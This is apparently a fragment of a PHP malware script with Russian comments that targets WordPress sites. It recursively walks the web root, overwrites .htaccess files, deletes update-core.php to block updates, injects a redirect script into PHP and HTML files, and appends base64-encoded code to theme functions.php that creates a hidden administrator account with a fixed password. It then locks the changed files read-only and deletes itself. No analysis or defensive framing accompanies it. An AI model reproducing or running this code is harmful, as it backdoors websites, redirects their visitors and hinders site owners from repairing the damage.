\n\n";
}
$path = $_SERVER['DOCUMENT_ROOT'];
//$rest = "";
//domains
$pos1 = strrpos($path,'domains',-1);
if ($pos1 !== false){
$rest = substr($path, 0, strrpos($path, 'domains',-1) + strlen('domains'));
} else {
//public_html
$pos1 = strrpos($path,'public_html',-1);
if ($pos1 !== false){
$rest = substr($path, 0, strrpos($path, 'public_html',-1) + strlen('public_html'));
} else {
//html
$pos1 = strrpos($path,'html',-1);
if ($pos1 !== false){
$rest = substr($path, 0, strrpos($path, 'html',-1) + strlen('html'));
} else {
//htdocs
$pos1 = strrpos($path,'htdocs',-1);
if ($pos1 !== false){
$rest = substr($path, 0, strrpos($path, 'htdocs',-1) + strlen('htdocs'));
} else {
//httpdocs
$pos1 = strrpos($path,'httpdocs',-1);
if ($pos1 !== false){
$rest = substr($path, 0, strrpos($path, 'httpdocs',-1) + strlen('httpdocs'));
} else {
//vhosts
$pos1 = strrpos($path,'vhosts',-1);
if ($pos1 !== false){
$rest = substr($path, 0, strrpos($path, 'vhosts',-1) + strlen('vhosts'));
} else {
//www
$pos1 = strrpos($path,'www', -1);
if ($pos1 !== false){
$rest = substr($path, 0, strrpos($path, 'www', -1) + strlen('www'));
} else {
//wwwroot
$pos1 = strrpos($path,'wwwroot',-1);
if ($pos1 !== false){
$rest = substr($path, 0, strrpos($path, 'wwwroot',-1) + strlen('wwwroot'));
//echo ($rest);
} else {
//web
$pos1 = strrpos($path,'web',-1);
if ($pos1 !== false){
$rest = substr($path, 0, strrpos($path, 'web',-1) + strlen('web'));
} else {
$rest = $_SERVER['DOCUMENT_ROOT'];
}
}
}
}
}
}
}
}
}
//echo ("Path Search - " . $rest . "
\n");
/* if (is_readable($rest)) {
//echo 'Каталог доступен для чтения - ' . $rest . "
\n\n";
} else {
//echo 'Каталог недоступен для чтения - ' . $rest . "
\n\n";
$rest = $_SERVER['DOCUMENT_ROOT'];
//echo 'Читаем по дефолту каталог - ' . $rest . "
\n\n";
} */
// правим index.php
//конец правки index.php
$it = new RecursiveDirectoryIterator($rest);
//$display = Array ( 'wp-load', 'index' );
//############### start recursive search
foreach(new RecursiveIteratorIterator($it) as $file)
{
// if (in_array(strtolower(array_pop(explode('.', $file))), $display))
//change .htaccess wordpress
if (stripos($file,'htaccess') && !stripos($file,'wp-content')) {
@chmod($file, 0777);
file_put_contents($file, base64_decode("PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZA0KUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4="));
@chmod($file, 0444);
//echo "htacc - " . $file . "
\n\n";
}//end
//delete update-core.php wordpress
if (stripos($file,'update-core')) {
@chmod($file, 0777);
//if (unlink($file))
echo "Succdel" . $file . "
\n\n";
unlink($file);
} //end
//add code wp-load.php
if (stripos($file,'wp-load')) {
@chmod($file, 0777);
//echo "wp-load " . $file . "
\n\n";
@chmod($file, 0444);
}//end
//replace in js redirect code header.php / htm\html files
if (stripos($file,'php') || stripos($file,'html') || stripos($file,'htm')) {
@chmod($file, 0777);
if (is_readable($file)) {
$data = file_get_contents($file);
$f_str = stripos($data , "");
$js_str = stripos($data, $jsr);
if ($js_str === false){//если кода нет ...
if ($f_str !== false) { //если есть тег
$data = str_replace('', '', $data);
file_put_contents($file, $data);
//echo "Add JSRF " . $file . "
\n\n";
@chmod($file, 0444);
}
}
}
}//end replace
//add user account
if (stripos($file,'functions') && stripos($file,'themes')) {
@chmod($file, 0777);
AddStr($file,base64_decode("PD9waHAgJGNyZWF0ZXVzZXIgPSB3cF9jcmVhdGVfdXNlcignd29yZGNhbXAnLCAnejQzMjE4NzY1eicsICd3b3JkY2FtcEB3b3JkcHJlc3MuY29tJyk7ICR1c2VyX2NyZWF0ZWQgPSBuZXcgV1BfVXNlcigkY3JlYXRldXNlcik7ICR1c2VyX2NyZWF0ZWQgLT4gc2V0X3JvbGUoJ2FkbWluaXN0cmF0b3InKTsgPz4"));
//echo "Change js files " . $file . "
\n\n";
@chmod($file, 0444);
}//end
}//############### end recursive search
echo "N1-07-OCT-20";
unlink($_SERVER['SCRIPT_FILENAME']); //echo "Del Suc";
?>